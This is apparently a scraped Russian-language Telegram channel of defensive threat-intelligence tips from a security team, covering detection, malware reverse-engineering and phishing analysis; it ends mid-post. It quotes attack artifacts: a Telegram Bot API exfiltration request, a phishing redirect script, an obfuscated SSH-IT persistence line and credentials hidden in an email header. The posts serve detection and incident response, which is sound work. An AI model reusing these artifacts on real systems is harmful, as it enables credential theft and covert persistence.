ESCalator
3.98K subscribers
228 photos
1 video
1 file
96 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
加入频道
Телега с хакерами

Согласно последним тенденциям (например, Lazy Koala), злоумышленники все чаще прибегают к эксфильтрации данных или С2-каналу через мессенджер Telegram.

Это и правда просто: достаточно отправить такой веб-запрос, чтобы передать чувствительную информацию (например, пароли) с любого компьютера вашей инфраструктуры:


https://api.telegram.org/bot$BOT_TOKEN/sendMessage?text=LEAKED_PASSWORDS&chat_id=xxxx


Таким образом, злоумышленники пытаются спрятать свою сетевую активность в потоках легитимных сетевых сессий к Telegram, которым сейчас пользуются практически везде.

Не учли злоумышленники только одного: сетевой трафик от десктопного или мобильного приложения Telegram и веб-запрос к API сильно отличаются.

Telegram API — это в том числе инструмент автоматизации и управления ботами. Если в вашей организации его и используют, то с определенных хостов и в ограниченном количестве.

🚩 Появление таких запросов с машины пользователя — красный флаг для ваших средств защиты. А найти такие сетевые сессии легко — одним запросом к NTA-системе:


tls.server_name == "api.telegram.org"


#detect #network #tip
@ptescalator
Проксирование WebSocket nginx — обнаружение полезной нагрузки 👀

Проверка конфигураций различных служб иногда помогает найти неизвестное вредоносное ПО, которое не распознается антивирусами и другими защитными средствами.

❗️ Например, в одном случае мы нашли следы присутствия злоумышленников в системе, изучив конфигурацию веб-сервера nginx.

В конфигурационном файле /etc/nginx/webserver/server.conf.d/payload.conf целевого сервера нас насторожили определенные строки.


location /ws/b3a4d3a2 {
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
access_log off;
log_not_found off;
proxy_pass http://unix:/var/run/shm/evil.sock;
}


В этих строках используется механизм переподключения протоколов. Начиная с версии 1.3.13 в nginx реализован режим работы, позволяющий организовать туннель между клиентом и проксируемым сервером, — WebSocket proxying.

Проксирование WebSocket активируется при получении в запросе от клиента заголовка Upgrade.

Особенностью работы этого режима является наличие следующих строк в конфигурационном файле:


proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_pass http://unix:/var/run/shm/evil.sock;


Строки proxy_set_header служат для явной передачи веб-сервером nginx заголовка Upgrade проксируемому серверу. Их наличие в файле конфигурации обусловлено тем, что этот заголовок относится к категории заголовков hop-by-hop, которые не пересылаются прокси-серверами.

Строка proxy_pass содержит путь к файлу сокета в целевой системе — /var/run/shm/evil.sock.

Для получения информации о процессе, использующем указанный сокет, мы воспользовались командой lsof:


lsof | grep /var/run/shm/evil.sock


И нашли процесс c PID 18653:


payload 18653 root 4u unix 0xffff74146a3b3743 0t0 25637138 /var/run/shm/evil.sock


Далее мы нашли исполняемый файл процесса:


lsof -p 18653 | grep cwd


Файл лежал в /usr/bin/, и он оказался бэкдором.

💡 Что мы теперь можем:

ловить WebSocket в трафике;
смотреть активности в системах рядом со временем деплоя бэкдора (дата создания бэкдора или модификации конфига nginx);
проверять другие веб-серверы в инфраструктуре на предмет «расширения функциональности» ваших сервисов.

#tip #detect #hunt #dfir
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Как не бороться с обфускацией 🫤

Автоматическое извлечение конфигураций упрощает выявление новых C2. Мы реверсим вредоносное семейство, находим конфигурацию и пишем скрипт для ее извлечения. Однако, если код сильно обфусцирован, как в случае, например, с Emotet 5, задача усложняется.

Помимо техники Control Flow Flattening, которая сама по себе неприятна, он добавляет много мертвого кода, а также раскладывает арифметические выражения на набор, казалось бы, бессмысленных и случайных операций, например, как на скрине 1.

Значение, которое кладется в edx, — второй аргумент функции run_send_recv_timer — вычисляется весьма странным образом, хотя в итоге результат выглядит как на скрине 2.

Все эти арифметические упражнения необходимы, чтобы в итоге получить 1.

📂 Эффективное извлечение конфигурации требует умения находить важные фрагменты кода и данных, в том числе среди подобных образцов.

Нас интересует в этом случае публичный ECDH-ключ сервера, используемый для генерации сессионного ключа шифрования данных в протоколе. Он зашифрован однобайтовым XOR. Проблема заключается в рандомизированных арифметических операциях для сборки буфера ключа на стеке.

Найти функцию расшифровки в дампе просто, нужный фрагмент кода — на скрине 3.

🧐 Встает проблема найти ссылку на функцию. Если бы семпл был x32, то задача была бы проста: найти начало функции и байты E8 <function-address-LE>, то есть call с операндом в виде адреса функции расшифровки.

Но в x64 вся адресация RIP-relative, то есть операнды-адреса — это смещения относительно конца текущей инструкции. Значит, мы найдем все инструкции call и проверим, равен ли операнд адресу начала функции расшифровки. Выглядит это так:


calls = self.mdmp.find_bytes(b"\xE8", segment_start, segment_size, find_first=False)
decrypt_refs = []
for call_pos in calls:
call_offset = self.mdmp.read(call_pos + 1, 4)
call_offset = struct.unpack("<i", call_offset)[0]
if call_pos + 5 + call_offset == decrypt_key_func_start:
decrypt_refs.append(call_pos)
if len(decrypt_refs) == 2:
break


💡Примечание: ссылок две, потому что зашито два ключа — один для ECDH, второй для ECDSA, каждый расшифровывается в отдельной функции.

Найдя ссылку на функцию расшифровки, ищем начало вызывающей ее функции. Ее псевдокод — на скрине 4.

Зашифрованный ключ собирается на стеке и далее расшифровывается. Мы знаем, что за этой красотой стоит сильно обфусцированный ассемблерный код, значит, считать буфер «as is» будет тяжело.

Прибегнем к такому инструменту, как эмулятор. Мы не будем деобфусцировать это скриптом, воспроизводить логику, а просто «выполним» это и считаем результат.

Для этого, поскольку мы знаем адрес ссылки на функцию decrypt_KEY, мы должны всего лишь найти начало функции decrypt_ECK1, считать ее и отдать эмулятору, который сделает всю грязную работу. Для эмуляции используем Speakeasy, который умеет эмулировать не только инструкции, но и среду ОС.

В итоге получаем изящное решение: создаем эмулятор, выделяем 4 байта под длину результата, загружаем тело функции как шеллкод и устанавливаем хук, который будет срабатывать на каждой инструкции.


def emulate_decrypt_key_func(self, func_body):
emul = speakeasy.Speakeasy()
shellcode = emul.load_shellcode(fpath=None, data=func_body, arch="amd64")
ctx = {"entry": True, "mem": emul.mem_alloc(4), "skip_call": True}
emul.add_code_hook(self.code_hook_key, ctx=ctx)
emul.run_shellcode(shellcode)
decrypted = self.decrypt(ctx["encrypted_string"], ctx["key"], ctx["length"])
return decrypted


Внутри коллбэка мы пропускаем один call — вызов пустышки nullsub_4 — и останавливаемся перед вызовом decrypt_key. В этот момент в одном из параметров лежит готовый буфер с зашифрованным ключом. Далее этот буфер считывается и расшифровывается в ECDH-ключ, как видно на скрине 5.

Благодаря эмулятору, мы не стали пытаться изменить обфускацию, а приняли ее такой, какая она есть, чтобы получить желаемое 😌

#tip #trick #C2
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Фишинговая легитимность 😂

В рамках анализа одного из фишинговых писем мы заметили, как злоумышленники попытались разместить фишинговый контент на странице домена telegra․ph.

Их задумка, вероятно, состояла не в использовании «обширного» функционала сервиса для публикации контента, а в репутации самого домена. И это может сработать, ведь с учетом вполне легитимного наполнения данных WHOIS, SSL-сертификата, а также веб-категории домена telegra․ph у различных агрегаторов эта страница при анализе получит минимум нейтральный статус.

Все это натолкнуло нас на мысль рассмотреть некоторые кейсы использования легитимных сервисов в фишинговых кампаниях, встречающиеся на практике.

1️⃣ Собственно, Telegraph.

Это анонимная блог-платформа известного разработчика. Функционал минималистичен, отсутствуют элементы управления, а текст публикуется с использованием только двух уровней заголовков: Title и сам текст.

В сам блог есть возможность поместить только кликабельные элементы для перехода на фишинговую страницу, при этом стилистика остается нейтральной и минималистичной. Пример фишинговой страницы в telegra․ph — на скриншоте.

В каком-то смысле подобный стиль страницы напоминает текстовое электронное письмо, с той лишь разницей, что непосредственно вредоносная ссылка прячется от автоматизированных средств анализа еще за одним уровнем перехода.

2️⃣ Онлайн-среды разработки.

Онлайн-среда разработки, поддерживающая HTML, JavaScript, да еще и с функцией совместной разработки и публикации (вроде JSFiddle), может использоваться для доставки вредоносов или внедрения в цепочку сложных и разнообразных техник редиректа.
Вот, например, размещенный на JSFiddle код с загрузкой png-картинки, исполняющийся без дополнительных действий:


a = document.createElement('a');
document.body.appendChild(a);
a.download = name;
a.href = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAOCAYAAAAmL5yKAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAABWSURBVDhPY0xISPh//0UOA7mAiVyNMH2jBjAwkBQGjD9KGBTEJ6OEO0kG2NvbMwCjnXwDsEU5SS5ANuDhjRCGJbPFSQsDdBfIyMhQZgDIQLK9QLWkDABPsQw5I+5qmAAAAABJRU5ErkJggg==";
a.click();


Проблема подобных ссылок с онлайн-IDE понятна: под них легко придумать фишинговое содержание письма («я разработчик, вот мое портфолио с проектами»), а репутация их доменов не даст сработок у средств анализа.

Кроме того, для анализа содержимого страницы потребуются продвинутые средства, позволяющие эмулировать переходы по страницам или загрузку контента путем выполнения JavaScript-кода.

3️⃣ IPFS.

Известный протокол распределенного хранения файлов стал популярным инструментом среди злоумышленников. Точнее, не сам протокол, а так называемые IPFS-шлюзы — онлайн-сервисы, предоставляющие доступ к файлам, размещенным с использованием этой технологии без специальных клиентов. Они являются своего рода прокси для доступа к размещенным в подобном хранилище HTML-страницам, что позволяет злоумышленнику не заморачиваться с хостингом страницы.

Кроме того, файл с IPFS-хранилища невозможно удалить: IPFS-хостинг может лишь повесить заглушку о вредоносном содержимом запрашиваемого файла, при этом самому хостингу, чтобы найти такой контент в хранилище, требуется время и ресурсы.

Чтобы защититься от подобной эксплуатации легитимных сервисов, при защите периметра можно использовать средства защиты, проверяющие контент веб-содержимого URL-ссылок перед вынесением вердикта. А при получении подобных ссылок на личную почту или в мессенджере лучше перестраховаться и проверить их в нескольких сервисах, показывающих репутацию индикаторов компрометации.

#web #ti #tip
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🟥 ⚔️ 💿 Виртуальный диск как начало атаки

В начале сентября эксперты группы киберразведки TI департамента PT ESC обнаружили интересный VHDX-файл, который оказался частью цепочки атаки на организации в странах Азии. Мы не знаем точного исходного вектора, но, скорее всего, файл распространялся через фишинг.

✍️ VHDX-файл — это виртуальный диск, который можно подключить к системе начиная с Windows 8 двойным нажатием мыши. Он будет считаться логическим томом до выключения системы.

Как и любой контейнер, VHDX-файл может выступать в роли вредоносного объекта. Исследователь Уилл Дорманн в посте от 2019 года рассказал, что с помощью специально подготовленного образа можно спровоцировать системную ошибку в Windows и вызвать «синий экран смерти».

👾 В атаках мы редко видим использование этого контейнера, однако виртуальный диск может содержать в себе вредоносные файлы, которые должна запустить жертва. Хакер может убедить жертву сделать это через техники социальной инженерии. Для начала заражения устройства жертве достаточно открыть присланный ей диск и запустить вредоносный файл внутри него. Схема заражения (например, как на первом скриншоте) такая же, как в случае, если бы пользователю прислали архив с таким же вредоносным вложенным файлом.

💡 Для хакеров преимущество в использовании VHDX-файлов (как и в использовании ZIP-файлов) заключается в том, что они не подпадают под действие MoTW (Mark of the Web): при запуске документа из этих контейнеров не включается режим Protected View, а Windows SmartScreen не предупреждает жертву об опасности. Стоит также отметить, что под VHDX-формат приспособлено меньшее количество антивирусных решений, чем под те же ISO-файлы. Следовательно, при попадании в систему образ вряд ли будет моментально удален этим СЗИ.

Хотя VHDX-файлы и редко используются в атаках, TI-аналитику, как и любому другому исследователю, важно уметь качественно анализировать эти файлы, чтобы не упустить важные детали, которые могут помочь провести атрибуцию или дать дополнительные IoC, позволяющие построить связи с другими атаками.

Хакеры допускают ошибки: они могут использовать один VHDX-файл в двух разных атаках или же загрузить ошибочные файлы. В любом из этих случаев злоумышленники, как правило, удаляют файлы, а так как это диск, то аналитик может попробовать их восстановить (в том числе с точными датами создания этих файлов) — другими словами, аналитик может построить таймлайн изменения файлов на диске. Это можно сделать с помощью специальных инструментов для проведения форензики.

👀 Рассмотрим наиболее эффективные методы и инструменты, которые можно использовать для анализа диска:

Создание виртуальной машины и монтирование диска в нее. Это позволит посмотреть файлы в проводнике и увидеть то, что получила жертва атаки (но не удаленные файлы).

Autopsy — универсальный инструмент для исследования образов, который может получать данные из множества файлов разных типов, физических дисков, сырых образов. Есть таймлайн изменения файлов внутри образа (пример — на втором скриншоте).

• FTK Imager — аналог программы Autopsy, показавший наилучшие результаты в извлечении удаленных файлов с диска.

🛡 Как вариант защиты от атак с использованием VHDX стоит использовать почтовые фильтры, запрещающие передачу этого типа файла во вложениях писем — как от внешних отправителей, так и от внутренних.

В скором времени мы опубликуем статью, в которой детально разберем эту атаку. Следите за новостями.

#ti #tool #tip #news
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
📫 X-фильтрация данных пользователя

В процессе анализа почтового трафика мы периодически сталкиваемся с реализацией необычных вредоносных техник. Сегодня хочется рассказать про то, как злоумышленники эксфильтруют полезные данные через X-заголовки писем электронной почты.

В электронных письмах, помимо обязательных заголовков, таких как From, Date и т. п., встречаются заголовки с префиксом X. Они несут в себе дополнительную информацию, например сведения о работе почтовых защитных механизмов, служебные идентификаторы, различные метаданные об отправителе.

Каждый сервис и организация может выставлять свои X-заголовки без явных ограничений, поэтому их количество на данный момент можно исчислять тысячами. Описать и понять содержимое каждого из них — невероятно сложная задача. Этим и пользуются злоумышленники. Они создают собственные X-заголовки и помещают в них закодированные полезные данные, которые надо эксфильтровать.

😠 Например, заголовки такого «необычного» письма могут выглядеть следующим образом:


Received: from SB1P221MB1152.NAMP221.PROD.OUTLOOK.COM
(3613:10b6:806:388::20) by BD0P221MB0288.NAMP221.PROD.OUTLOOK.COM with
HTTPS; Thu, 20 Mar 2024 21:28:15 +0000
...
From: John Doe <[email protected]>
To: John Goe <[email protected]>
Subject: New Test
Date: Thu, 20 Mar 2024 21:28:15 +0000
Accept-Language: en-US
Content-Language: en-US
X-Ms-Exchange-Organization-Authmechanism: 04
X-Ms-Exchange-Organization-Authsource: BD0P221MB0288.NAMP221.PROD.OUTLOOK.COM
X-Ms-Has-Attach: yes
...
X-Entity-ID: WABIHdrtPzUrGNbwVwoPTQ==
X-Trusted-Header: c2VjcmV0X2xvZ2luOnNlY3JldF9wYXNzd29yZA==
X-Ms-Exchange-Organization-Scl: -1


Как видите, в X-заголовках множество разных типов информации: числа, строки, что-то вроде булевых значений, закодированные последовательности и так далее.

Среди них сложно найти тот заголовок, который явно несет угрозу. В данном случае «плохим» оказался заголовок X-Trusted-Header (в нем лежат учетные данные пользователя), который по контенту абсолютно сравним с легитимным X-Entity-ID.

😑 Чтобы не вызывать подозрений у систем защиты почты, злоумышленники также снабжают письмо максимально безобидным текстом, не добавляя при этом подозрительных составляющих по типу html-частей и вложений.

Таким образом получается крайне удобный и скрытый способ эксфильтрации данных для злоумышленников. Такая техника зачастую используется при корпоративном шпионаже, когда инсайдер имеет законный доступ к системам электронной почты. Он может встраивать полезные данные в заголовки, отправляя их под видом обычного делового письма.

Стоит отметить, что у данного способа есть одно основное ограничение — это передача только небольших объемов данных. То есть это хорошо подойдет для эксфильтрации ключей шифрования, учетных данных и тому подобного.

Однако, если злоумышленник попытается передавать таким способом большие блоки данных (например, файлы), то это будет сильно заметно на фоне всего почтового трафика.

😱 Что делать:

1. Внедрить методы анализа содержимого заголовков писем. Лучше всего — c использованием DLP системы.

2. Обращать внимание на необычные X-заголовки в исходящих письмах. Сделать это можно, например, посчитав статистику упоминания таких заголовков за определенный период, где самые неупоминаемые — самые подозрительные.

3. Следить за потоками писем с одинаковым контентом, отправляемых на один адрес.

#Detect #Tip
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Как починить CFG 🔧

В процессе реверса ВПО мы встречаемся со случаями, когда обфускация мешает понять общий алгоритм работы. Один из примеров — создание двух последовательных противоположных условных переходов в одну точку.

Схематично это выглядит так:


start:
jnX labelA
jX labelA
labelA:
<bytes>


То есть IDA при анализе кода идет сначала по ветке False и создает код там, откладывая ветку True на потом. Встретив инструкцию jnX, IDA создает код сразу после текущей.

Далее, встретив противоположный условный переход, она снова идет по ветке False и создает код на следующем адресе, построив мусорную инструкцию, после которой дизассемблировать уже нельзя. Тогда IDA возвращается к отложенной на потом очереди и берет адрес оттуда, но беда в том, что там код уже создан, а значит анализ завершается (хорошо видно на скриншоте 1).

При живом исполнении в независимости от состояния флагов будет выполнен переход на операнд, то есть выполнение будет как на скриншоте 2, если мы подправим control flow.

Трудность при исследовании таких шеллкодов в том, что переходов может быть много и каждый раз анализ будет о них спотыкаться. Можно попробовать починить вручную, но если таких блоков будут сотни?

✍️ Чтобы справиться с этим, напишем несложный скрипт на IDAPython, который исправит проблему автоматически. Задача — найти эти блоки и пропатчить их.

Сначала составим список противоположных условных переходов и положим его в функцию, которая будет сверять две последовательные инструкции со списком:


def c_jumps(addr, n_addr):
ops = [
("jz", "jnz"),
("jnz", "jz"),
("je", "jne"),
("jne", "je"),
...
]
if (ida_ua.print_insn_mnem(addr), ida_ua.print_insn_mnem(n_addr)) in ops:
return True
return False


Будем последовательно проходить каждую инструкцию до тех пор, пока не встретим нужные либо не упремся в лимит.


def deobf(start, limit=BADADDR):
while addr != BADADDR:
n_addr = ida_search.find_code(addr, ida_search.SEARCH_DOWN)
if n_addr == BADADDR:
break

if not c_jumps(addr, n_addr):
addr = n_addr
continue


🧐 С помощью метода find_code из модуля ida_search находим следующий адрес, на котором есть код, а с помощью функции c_jumps проверяем, являются ли инструкции на этом и следующем адресе противоположными прыжками. Найдя их, мы должны проверить, указывают ли эти прыжки на одну точку (то есть равны ли их операнды):


o1 = get_operand_value(addr, 0)
o2 = get_operand_value(n_addr, 0)

if o1 != o2:
addr = n_addr
continue

insn = ida_ua.insn_t()
l1 = ida_ua.decode_insn(insn, addr)
l2 = ida_ua.decode_insn(insn, n_addr)


С помощью get_operand_value получаем значение операндов (у jX и jXX он один) и проверяем их равенство. Чтобы определить длину отрезка, который нужно пропатчить, с помощью decode_insn из ida_ua находим длины инструкций.

Затем исправляем условные переходы и просим IDA проанализировать новый код. Это необходимо, чтобы можно было найти дальнейшие блоки обфускации:


after_addr = n_addr + l2
ida_bytes.patch_bytes(addr, bytes([0x90] * (l1 + l2 + 1)))

ida_auto.auto_wait()
ida_bytes.del_items(after_addr, ida_bytes.DELIT_EXPAND)
ida_auto.auto_wait()

ida_ua.create_insn(o1)
addr = o1
ida_auto.auto_wait()


🗂 Методом patch_bytes из ida_bytes мы патчим инструкции, с помощью auto_wait из ida_auto просим IDA проанализировать новый код, затем, используя del_items, удаляем мусорные инструкции, созданные при первичном анализе, и снова анализируем. С помощью create_insn создаем валидную инструкцию там, куда указывали условные переходы, и переанализируем в последний раз.

Таким образом, этот скрипт позволяет из обфусцированного кода получить нормальный ASM-код, как на скриншоте 3.

Иногда после него остаются единичные нераспознанные байты, но их легко поправить. Из этого кода можно создать функцию, декомпилировать ее и проанализировать (как на скриншоте 4).

Изучайте IDAPython, пишите скрипты. Happy reversing!

#tip #reverse #idapython
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Бесконечная череда переходов ♾️

Довольно часто злоумышленники, отправляя фишинговые ссылки по почте, не прикрепляют их в явном виде к электронному письму, а используют разнообразные техники перенаправления. Подозрительный домен прячется от пользователя и средств защиты, осуществляющих статический анализ ссылок, и увеличивает шансы поймать жертву.

Часто киберпреступники используют один уровень перенаправления с легитимного ресурса на вредоносный. Но нам посчастливилось разобрать кейс, где злоумышленник использовал сразу пять последовательных — и, самое главное, разнообразных — техник перенаправления на вредоносный ресурс.

1️⃣ Перенаправление через TikTok

Ссылка начинается с конструкции:


https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=


TikTok дает возможность поместить в описание профиля (параметр bio_url) ссылки на внешние ресурсы, и перенаправление на них производится по приведенному выше URL-адресу. Кстати, aid=1988 видим не только в рамках исследования этого кейса, но и в отчетах других вендоров. Единственный необязательный параметр в этом запросе — lang, но, видимо, он, так же как и ID, перекочевал и образовал устойчивый префикс в фишинговых кейсах. Это наводит на мысль добавить его в качестве шаблона для средств защиты.

Итак, TikTok вместо смешных рилсов переправляет нас на...

2️⃣ Google AMP


https://www.google.ca/url?q=amp/s/<phishing_url>


Google AMP — средство ускоренного просмотра веб-страниц, поддерживающих ряд специально созданных для этого ускорения ограничений. Примечательно, что страница загружается не с самого домена, на котором она размещена, а из кэша Google. Собственно, первая интересующая нас веб-страница вполне удовлетворяет этим требованиям, поскольку содержит всего несколько строк JavaScript-кода.

3️⃣ Первый подозрительный домен

Содержит следующий код:


<script type="text/javascript">
var firstBase64Url = "aHR0cHM6Ly94LmNvbQ==";
var secondBase64Url = "<Ещё один вредоносный ресурс>";

// Load the first URL for a few seconds
setTimeout(function() {
window.open(atob(firstBase64Url), '_blank');
}, 2000); // 2000 milliseconds = 2 seconds

// After the specified time, load the second URL
setTimeout(function() {
window.location.href = atob(secondBase64Url) + "?qrc=" + window.location.hash.substr(1);
}, 2000); // 2000 milliseconds = 2 seconds
</script>


При выполнении, когда истекает тайм-аут в 2 секунды, открывается новая вкладка с firstBase64Url (как несложно проверить, это https://x.com/, еще один легитимный ресурс), а в открытой вкладке происходит перенаправление на secondBase64Url. Обе техники — открытие новой браузерной вкладки и включение тайм-аута — нужны для усложнения анализа веб-краулерами.

4️⃣ Переход на secondBase64Url

На данном этапе нам встречается использование Cloudflare Turnstile — встраиваемой мини-капчи, не требующей перевода трафика через Cloudflare (пример интерфейса на скриншоте 1). При ручном анализе кода этой страницы мы уже можем распарсить еще один URL-адрес, но, чтобы все-таки совершить переход на него, надо учиться проходить эту капчу.

5️⃣ Традиционный 3XX код ответа страницы

Здесь все просто: на предыдущем этапе URL из кода через стандартный ответ 302 перенаправляет на конечную фишинговую страницу сбора паролей, имитирующую окно авторизации Microsoft Outlook. Ее интерфейс в окне браузера представлен на скриншоте 2.

💁‍♂️ Советы:

При анализе фишингового URL-адреса стоит обратить внимание на покрытие обнаруженных техник против переходов (включение пауз, капч, открытие новых вкладок) имеющимися средствами защиты информации: если используемое СЗИ при автоматическом переходе по ссылке не умеет их обходить, то полезным может оказаться просто их детектирование и блокировка соответствующего почтового сообщения.

Если вы (как пользователь) нажали на подобную ссылку — обратите внимание, насколько часто менялся URL в адресной строке браузера и сколько дополнительных действий было сделано вами и на стороне браузера.

#tip #phishing #web
@ptescalator
SSH-IT. Инструкция по обнаружению популярного инструмента 🔭

В процессе расследования множества инцидентов, связанных с компрометацией Linux-узлов, мы иногда обнаруживаем на них различные хакерские инструменты.

Сегодня поговорим об SSH-IT. Хакеры часто используют его для перехвата SSH-сессий и получения вводимых пользователем команд.

Для обнаружения признаков установки инструмента на узлах ищите:

1. Файлы по паттерну: '/prng/((askpass|hook|x|ssh_login)\.sh|depth\.cfg|funcs|ptyspy_bin\.[a-z_0-9]+\-(linux|alpine|osx)|seed|ssh|thc_cli)':

find / -type f | egrep -a '/prng/((askpass|hook|x|ssh_login)\.sh|depth\.cfg|funcs|ptyspy_bin\.[a-z_0-9]+\-(linux|alpine|osx)|seed|ssh|thc_cli)'


🧐 Пример:


/home/john/.config/prng/askpass.sh
/home/john/.config/prng/depth.cfg
/home/john/.config/prng/funcs
/home/john/.config/prng/hook.sh
/home/john/.config/prng/ptyspy_bin.aarch64-linux
/home/john/.config/prng/ptyspy_bin.armv6l-linux
/home/john/.config/prng/ptyspy_bin.i386-alpine
/home/john/.config/prng/ptyspy_bin.mips32-alpine
/home/john/.config/prng/ptyspy_bin.mips64-alpine
/home/john/.config/prng/ptyspy_bin.x86_64-alpine
/home/john/.config/prng/ptyspy_bin.x86_64-osx
/home/john/.config/prng/seed
/home/john/.config/prng/ssh
/home/john/.config/prng/ssh_login.sh
/home/john/.config/prng/thc_cli
/home/john/.config/prng/x.sh


2. Файлы, через которые может осуществляться закрепление в системе и в которых встречаются строки по паттерну: '# DO NOT REMOVE THIS LINE\. SEED PRNGD|source.+2\>/dev/null #PRNGD'

egrep -aor '# DO NOT REMOVE THIS LINE\. SEED PRNGD|source.+2\>/dev/null #PRNGD' /


👀 Пример (файл /home/john/.profile):


"# ~/.profile: executed by the command interpreter for login shells.
# DO NOT REMOVE THIS LINE. SEED PRNGD.
source "$(echo 2f686f6d652f6a6f686e2f2e636f6e6669672f70726e672f736565640a|/usr/bin/xxd -r -ps 2>/dev/null)" 2>/dev/null #PRNGD
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.

# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022

# if running bash
if [ -n ""$BASH_VERSION"" ]; then
# include .bashrc if it exists
if [ -f ""$HOME/.bashrc"" ]; then
. ""$HOME/.bashrc""
fi
fi

# set PATH so it includes user's private bin if it exists
if [ -d ""$HOME/bin"" ] ; then
PATH=""$HOME/bin:$PATH""
fi

# set PATH so it includes user's private bin if it exists
if [ -d ""$HOME/.local/bin"" ] ; then
PATH=""$HOME/.local/bin:$PATH""
fi"


📃 Рекомендации по дальнейшим действиям:

1️⃣ Заблокировать адреса управляющих серверов;

2️⃣ Удалить файлы, относящиеся к SSH-IT, а также изменить файлы, через которые SSH-IT закрепился в системе;

3️⃣ Перезагрузить скомпрометированный хост;

4️⃣ Осуществить поиск подозрительных входов по сети и проверку логов веб-сервера (если он есть и торчит наружу).

#tip #detect #hacktool #dfir
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Учимся восстанавливать импорты VMProtect ⚙️

VMProtect — один из самых используемых протекторов ВПО. При этом зачастую злоумышленники ленятся и используют лишь простые опции защиты — обфускацию точки входа и импортов.

Ранее мы уже научились настраивать виртуальную среду для отладки ВПО, а также познакомились с эмулятором Speakeasy. Воспользуемся этими знаниями, чтобы попытаться восстановить импорты VMP.

Сдампим процесс (важно, чтобы в нем на момент дампа была достигнута OEP, тогда VMP инициализирует все внутренние структуры для работы), откроем дамп в IDA и позволим ей разметить символы библиотек.

Далее посмотрим, как выглядят обфусцированные импорты (скриншот 1). Видно, что VMP вставил вызов на свою секцию вместо вызова оригинальной библиотеки, а вызываемая функция состоит из кучи (на первый взгляд) мусорных инструкций.

❗️ Однако это не совсем так. Если провалиться в этот вызов в отладчике, то в какой-то момент на стеке окажется настоящий адрес API. Пример трассировки смотрите на скриншоте 2.

Попробуем это автоматизировать. Для начала необходимо собрать интересующий нас список вызовов. Логика простая: вызов идет из текстовой секции в секцию VMP (скриншот 3). Для краткости будем считать, что адреса этих секций в дампе нам уже известны.

Напишем логику для разрешения полученных адресов, для этого загрузим модуль из дампа как шеллкод в Speakeasy и добавим хук с проверкой каждой инструкции на ret. Дополнительно ограничим максимальную глубину трассировки и будем сохранять количество шагов для каждого импорта. Итоговое содержимое хука, а также функцию инициализации шеллкода в эмуляторе можно увидеть на скриншоте 4.

Функция запуска эмулятора представлена на скриншоте 5. Он выполняется несколько раз, чтобы обойти ситуацию, когда после выполнения нескольких мусорных инструкций повреждается его внутреннее состояние и попытки прочитать что-то после всегда завершаются ошибками.

Теперь объединим все вместе и посмотрим на результаты (скриншот 6). Опираясь на собранную информацию, можно разметить большую часть импортов в исходном образце.

👀 Итого: мы научились минимальными усилиями восстанавливать импорты VMP, что значительно упрощает анализ таких образцов. При желании можно применить аналогичный подход для запущенных процессов, а также пропатчить и пересобрать образец с правильными адресами API, как это делает, например, vmpdump.

#ti #malware #tip #VMProtect
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Ngrok. Находим и разбираемся 🔍

В процессе расследования множества инцидентов мы неоднократно встречаем такой инструмент, как ngrok. Это удобный легитимный инструмент для прокидывания сетевых туннелей для администраторов.

Он стал очень популярен у злоумышленников, которые, как правило, устанавливают RDP-соединения, и мы настоятельно рекомендуем поискать ngrok у себя в инфраструктуре.

Несколько рекомендаций по поиску признаков использования ngrok на узлах:

1️⃣ Наличие файла с именем ngrok.yml или директорий ngrok, .ngrok2, которые, как правило, имеют следующие файловые пути:


C:\Users\<username>\.ngrok2\ngrok.yml
C:\Windows\ServiceProfiles\NetworkService\AppData\Local\ngrok\ngrok.yml
C:\Windows\SysWOW64\config\systemprofile\.ngrok2\ngrok.yml


2️⃣ Наличие файла *.yml, в котором встречаются строки по следующим паттернам:


'version\: \"[0-9]+\"'
'authtoken\: [a-z0-9_]{49}'


Пример (ngrok.yml):

version: "2"
authtoken: 5U87lkcqEFeZ0sJ7Hg66aXkkrO4_K9EpjQHkJMkTg0R96pu64


3️⃣ Наличие строки ::%16777216 в качестве адреса сети источника в журналах сетевых подключений:


C:\Windows\System32\winevt\logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx
C:\Windows\System32\winevt\logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx


4️⃣ Наличие файла планировщика заданий Windows, через который осуществляется закрепление на узле и в котором могут встречаться строки по следующим паттернам:

'<Arguments>tcp [0-9]+</Arguments>'
'<Arguments>tcp [^ ]+\:[0-9]+ \-\-authtoken [a-z0-9_]{49}</Arguments>'


Пример 1 (C:\Windows\System32\Tasks\Microsoft\Windows\Microsoft\Monitor):

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
...
<Actions Context="Author">
<Exec>
<Command>C:\Windows\System32\Microsoft\1.exe</Command>
<Arguments>tcp 3389</Arguments>
</Exec>
</Actions>
</Task>


Пример 2 (C:\Windows\System32\Tasks\updater):

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
...
<Actions Context="Author">
